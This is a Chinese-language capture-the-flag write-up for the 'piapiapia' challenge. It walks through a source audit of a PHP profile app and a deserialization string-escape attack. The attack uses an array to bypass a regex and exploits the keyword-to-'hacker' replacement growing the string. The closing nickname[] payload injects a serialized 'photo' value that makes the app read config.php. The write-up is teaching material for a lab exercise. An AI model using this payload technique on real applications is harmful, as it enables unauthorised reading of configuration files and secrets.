piapiapia

扫描之后发现目录中有www.zip,审计源码

先看config.php,查看配置文件:

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

看到配置文件有$flag变量,接着查看class.php文件,可以看到有两个类,类mysql封装SQL的函数,类user为mysql的拓展类,其中mysql类中封装的函数有WAF。

审计其他文件,在profile.php文件中找到关键代码。

$photo = base64_encode(file_get_contents($profile['photo']));

该变量$profile的反序列化操作之后,将变量$profile['photo']进行了文件读取操作,接着在HTML代码中直接echo该变量,剩下的就是研究怎么把config.php填充到这个变量了。

传入参数后,调用函数update_profile():

public function update_profile($username, $new_profile) {
    $username = parent::filter($username);
    $new_profile = parent::filter($new_profile);

    $where = "username = '$username'";
    return parent::update($this->table, 'profile', $new_profile, $where);
}

查看过滤函数,对传入的三个值进行了过滤,其中第三个传入的$nickname参数可以通过数组绕过。

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
    die('Invalid nickname');
public function filter($string) {
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
}

总共是存在三个正则。第一个正则检验所有非字母值,且限制了长度,这里可以通过PHP类型-数组绕过这里的检验。

绕过了之后传入了mysql的filter函数,这里的函数将所有传入的值进行了过滤,如果存在关键字,将关键字替换为"hacker"。这里的替换应该都比较熟悉了,可以使用反序列化逃逸,逃逸后长度将代替字符";}s:5:"photo";s:10:"config.php";},总共34个字符,所以传入34个where

nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

Last updated